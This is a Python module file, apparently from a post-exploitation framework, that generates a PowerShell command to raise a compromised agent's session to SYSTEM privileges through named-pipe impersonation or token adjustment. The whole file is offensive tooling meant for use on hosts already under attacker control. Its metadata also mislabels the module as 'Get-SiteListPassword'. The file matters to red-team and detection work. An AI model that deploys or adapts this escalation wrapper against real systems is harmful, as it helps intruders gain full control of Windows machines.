115 lines
4.1 KiB
Python
115 lines
4.1 KiB
Python
from lib.common import helpers
|
|
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
self.info = {
|
|
'Name': 'Get-SiteListPassword',
|
|
|
|
'Author': ['@harmj0y', '@mattifestation'],
|
|
|
|
'Description': ("Gets SYSTEM privileges with one of two methods."),
|
|
|
|
'Background' : False,
|
|
|
|
'OutputExtension' : None,
|
|
|
|
'NeedsAdmin' : True,
|
|
|
|
'OpsecSafe' : False,
|
|
|
|
'MinPSVersion' : '2',
|
|
|
|
'Comments': [
|
|
'https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c',
|
|
'https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot',
|
|
'http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/',
|
|
'http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/'
|
|
]
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
'Description' : 'Agent to run module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'Technique' : {
|
|
'Description' : "Technique to use, 'NamedPipe' for service named pipe impersonation or 'Token' for adjust token privs.",
|
|
'Required' : False,
|
|
'Value' : 'NamedPipe'
|
|
},
|
|
'ServiceName' : {
|
|
'Description' : "Optional service name to used for 'NamedPipe' impersonation.",
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'PipeName' : {
|
|
'Description' : "Optional pipe name to used for 'NamedPipe' impersonation.",
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'RevToSelf' : {
|
|
'Description' : "Switch. Reverts the current thread privileges.",
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'WhoAmI' : {
|
|
'Description' : "Switch. Display the credentials for the current PowerShell thread.",
|
|
'Required' : False,
|
|
'Value' : ''
|
|
}
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
|
|
def generate(self):
|
|
|
|
# read in the common module source code
|
|
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Get-System.ps1"
|
|
|
|
try:
|
|
f = open(moduleSource, 'r')
|
|
except:
|
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
|
return ""
|
|
|
|
moduleCode = f.read()
|
|
f.close()
|
|
|
|
script = moduleCode
|
|
|
|
script += "Get-System "
|
|
|
|
if self.options['RevToSelf']['Value'].lower() == "true":
|
|
script += " -RevToSelf"
|
|
elif self.options['WhoAmI']['Value'].lower() == "true":
|
|
script += " -WhoAmI"
|
|
else:
|
|
for option,values in self.options.iteritems():
|
|
if option.lower() != "agent":
|
|
if values['Value'] and values['Value'] != '':
|
|
if values['Value'].lower() == "true":
|
|
# if we're just adding a switch
|
|
script += " -" + str(option)
|
|
else:
|
|
script += " -" + str(option) + " " + str(values['Value'])
|
|
|
|
script += "| Out-String | %{$_ + \"`n\"};"
|
|
script += "'Get-System completed'"
|
|
|
|
return script
|